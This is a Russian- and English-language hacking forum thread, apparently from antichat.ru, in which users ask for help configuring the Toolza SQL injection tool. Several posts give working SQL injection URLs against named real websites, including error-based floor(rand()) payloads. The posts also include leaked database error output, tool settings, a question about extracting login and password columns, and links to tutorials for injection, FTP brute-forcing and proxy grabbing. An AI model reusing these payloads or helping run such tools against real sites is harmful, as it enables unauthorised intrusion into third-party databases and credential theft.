Toolza 1.0

Discussion in 'PHP' started by Pashkela, 17 Oct 2009.

  1. haito

    haito Banned

    Joined:
    27 May 2010
    Messages:
    23
    Likes Received:
    1
    Reputations:
    1
    Почему это может извлекать данные с этими настройками?

    http://www.hno-praxis-seevetal.de/index.php?id=9842+and+substring%28version%28%29,1,1%29=5

    #$bl_url = "http://www.hno-praxis-seevetal.de/index.php?id=9842";
    #$bl_filtr = "--+";
    #$bl_plus = "+";
    #$bl_error = "Praxisumzug";
    #$bl_error_type = 1;
     
  2. linuxkernal

    linuxkernal New Member

    Joined:
    12 Mar 2010
    Messages:
    62
    Likes Received:
    0
    Reputations:
    0
    Как я могу использовать эту ссылку в toolza

    http://games.cartoonnetworkhq.com/playGame.php?gameID=133%20and+1=%28select+count%28*%29+from+information_schema.tables+group+by+concat%28version%28%29,floor%28rand%280%29*2%29%29+limit+1%29/*
     
  3. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    там все написано........в toolza.pl edit with editor
    strg+f floor
     
    _________________________
  4. linuxkernal

    linuxkernal New Member

    Joined:
    12 Mar 2010
    Messages:
    62
    Likes Received:
    0
    Reputations:
    0

    Я не могу понять, где к установлению в редакторе и как
     
  5. linuxkernal

    linuxkernal New Member

    Joined:
    12 Mar 2010
    Messages:
    62
    Likes Received:
    0
    Reputations:
    0


    Я стараюсь много, но я не увенчались успехом, как использовать эту ссылку в toolza, пожалуйста, помогите



    http://games.cartoonnetworkhq.com/playGame.php?gameID=133%20and+1=%28select+count%28%20*%29+from+information_schema.tables+group+by+concat%28version%28%29,floor%28rand%280%29*2%29%29+limit+1%29/*
     
  6. linuxkernal

    linuxkernal New Member

    Joined:
    12 Mar 2010
    Messages:
    62
    Likes Received:
    0
    Reputations:
    0
    Hi

    i am posting again because i am not Russian so i am getting problem in translate into Russian so i am posting in english because i translate from google so maybe it is ok or not i donot know so sorry to all


    please can you help me how can i use this url in toolza


    http://games.cartoonnetworkhq.com/playGame.php?gameID=133%20and+1=%28select+count%28 %20*%29+from+information_schema.tables+group+by+co ncat%28version%28%29,floor%28rand%280%29*2%29%29+l imit+1%29/*

    Thank you for understand

    And this forum is best from all because all are helping alot to solve problems in antichat.ru i like this forum
     
  7. linuxkernal

    linuxkernal New Member

    Joined:
    12 Mar 2010
    Messages:
    62
    Likes Received:
    0
    Reputations:
    0
    http://games.cartoonnetworkhq.com/playGame.php?gameID=133%20and+1=%28select+count%28 %20*%29+from+information_schema.tables+group+by+concat%28version%28%29,floor%28rand%280%29*2%29%29+limit+1%29/*

    i try this in toolza


    $f_table = "information_schema.tables"
    $f_url = "http://games.cartoonnetworkhq.com/playGame.php?gameID=133 and+1=(select+count(*)+from+"; # url
    $f_plus = "+"; # %20,%2b & etc.
    $f_filtr = "/*"; # close SQL


    but not working
     
  8. AKYLA

    AKYLA Elder - Старейшина

    Joined:
    29 Nov 2007
    Messages:
    108
    Likes Received:
    35
    Reputations:
    6
    Подскажите плиз, как правильно настроить в тулсе floor по такой ссылке:

    Как ни настраивал не хочет получать данные тулса (
     
  9. linuxkernal

    linuxkernal New Member

    Joined:
    12 Mar 2010
    Messages:
    62
    Likes Received:
    0
    Reputations:
    0
    i use floor rand method to get version

    Technical Support: http://bbs.dedecms.com

    Error page: /newsDetail.php?id=389%20and+1=(select+count(*)+from+information_schema.tables+group+by+concat(version(),floor(rand(0)*2))+limit+1)--
    Error infos: Duplicate entry '5.0.67-log1' for key 1
    Error sql: select `id` from `call_archives` where `id`<389 and 1=(select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2)) limit 1)-- order by `id` desc limit 1

    DedeCMS Error Warning!
    Technical Support: http://bbs.dedecms.com

    Error page: /newsDetail.php?id=389%20and+1=(select+count(*)+from+information_schema.tables+group+by+concat(version(),floor(rand(0)*2))+limit+1)--
    Error infos: Duplicate entry '5.0.67-log1' for key 1
    Error sql: select `id` from `call_archives` where `id`>389 and 1=(select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2)) limit 1)-- order by `id` asc limit 1

    then i use in Toolza

    $f_table = "information_schema.tables"; # default 'information_schema.tables' if MySQL>=5 and if MySQL<5 - you must brute table_name before and print here
    $f_url = "http://site.com/newsDetail.php?id=389 and+1=(select+count(*)+from+"; # url
    $f_plus = "+"; # %20,%2b & etc.
    $f_filtr = "--"; # close SQL

    but not working is there any mistake in url ?
     
  10. Kappa_87

    Kappa_87 New Member

    Joined:
    21 Aug 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    как избавится от этих крякообразов? через метод get все работает на ура,через метод пост-эта шляпа выходит... =)

    ...где чё крутить вертеть???
     
    #290 Kappa_87, 15 Sep 2010
    Last edited: 15 Sep 2010
  11. ZAV

    ZAV New Member

    Joined:
    6 May 2010
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    у меня вопрос
    в 4 версии надо
    1.брутить таблицы.
    2.брутить колонки

    на вывод колонок вышел
    login
    password

    и меня интересует как из login i password получить данные
     
  12. ALIM

    ALIM Member

    Joined:
    20 Apr 2010
    Messages:
    60
    Likes Received:
    6
    Reputations:
    5
    Pashkela
    можно ли ч-з тулзу сделать так чтобы она сначало логинилась на индекс паге
    а уже потом шла к уязвимому скрипту?

    $https_mode_auth = 1; # 1 - whith authorization, 0 - no
    $https_auth_script_path = "/signin.php";
    $https_auth_post_data = "uname=watltd&passwd=drowssap&Submit=Sign+In";

    это только под https?
    У меня на http не работает
    пробывал вставлять куки, такая-же история..
    не хватает этой возможности..
     
    #292 ALIM, 27 Nov 2010
    Last edited: 27 Nov 2010
  13. Dipp

    Dipp New Member

    Joined:
    3 Mar 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    спасибо очень помог!
     
  14. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    795
    Likes Received:
    140
    Reputations:
    73
    Перезалейте плиз
     
  15. FindeR

    FindeR Elder - Старейшина

    Joined:
    15 Nov 2006
    Messages:
    623
    Likes Received:
    138
    Reputations:
    20
    Да, народ, перезалейте. Наверняка остался у кого-нибудь.
     
  16. BlackBird

    BlackBird New Member

    Joined:
    16 Oct 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Народ в первом посте нет видео по настройки , у кого если есть видюшки по тулзе залейте плиз , не могу разобраться.
     
  17. ALIM

    ALIM Member

    Joined:
    20 Apr 2010
    Messages:
    60
    Likes Received:
    6
    Reputations:
    5
    # VIDEO INSTRUCTIONS FOR ALL MODES: #
    ####################################################################################
    #1. http://bug-track.ru/prog/toolza1.0_video.rar - mysql>=5 sql inj
    #2. http://bug-track.ru/prog/toolza_msql4_brute.rar - MySql4 brute tables & columns
    #3. http://bug-track.ru/prog/toolza_blind5.rar - Blind MySql5 sql inj
    #4. http://bug-track.ru/prog/toolza_turbo.rar - Blind MySql sql inj TURBO-MODE
    #5. http://bug-track.ru/prog/toolza_md5.rar - Blind MySql sql inj MD5-TURBO-MODE
    #6. http://bug-track.ru/prog/toolza_column_bruter.rar - MySql column number bruter
    #7. http://bug-track.ru/prog/toolza_name_const.rar - MySql inj NAME_CONST method
    #8. http://bug-track.ru/prog/toolza_mssql.rar - MSSQL injection
    #9. http://bug-track.ru/prog/toolza_ps.rar - PostgreSQL injection
    #10. http://bug-track.ru/prog/toolza_sybase.rar - Sybase SQL injection
    #11. http://bug-track.ru/prog/toolza_access.rar - Ms Access SQL injection
    #12. http://bug-track.ru/prog/toolza_oracle.rar - Oracle SQL injection
    #13. http://bug-track.ru/prog/tololza_lrl.rar - LFI/READER/Load_file() bruter
    #14. http://bug-track.ru/prog/toolza_ftp.rar- FTP checker
    #15. http://bug-track.ru/prog/toolza_ftp_brute.rar - FTP bruter
    #16. http://bug-track.ru/prog/toolza_proxy.rar - PROXY checker
    #17. http://bug-track.ru/prog/toolza_proxy_grabber.rar - PROXY grabber
    #18. http://bug-track.ru/prog/toolza_socks.rar - SOCKS mode
    #19. http://bug-track.ru/prog/firebird_interbase.rar - firebird/interbase SQL injection
     
  18. B1t.exe

    B1t.exe Elder - Старейшина

    Joined:
    6 Nov 2006
    Messages:
    1,022
    Likes Received:
    129
    Reputations:
    23
    пробовал скачать http://bug-track.ru/prog/toolza1.0_video.rar
    не качается :( ну и ошибку не бывает. открывается какой то горе-форум и все.
     
  19. ALIM

    ALIM Member

    Joined:
    20 Apr 2010
    Messages:
    60
    Likes Received:
    6
    Reputations:
    5
    вот, кое-как откопал на винте :cool: :
    http://narod.ru/disk/1658228001/toolza1.0_video.rar.html
    http://narod.ru/disk/1658354001/toolza_blind5.rar.html
    http://narod.ru/disk/1658404001/toolza_column_bruter.rar.html
     
  20. amata_Eshi

    amata_Eshi New Member

    Joined:
    19 Nov 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Kappa_87 - ╨Р╨╗╨╡╨║╤Б╨╕╨╜╨╛ - это кодировка, раскодируй и получишь:
    ╨Р╨╗╨╡╨║╤Б╨╕╨╜╨╛ ---> Алексино
    CP866 ---> UTF-8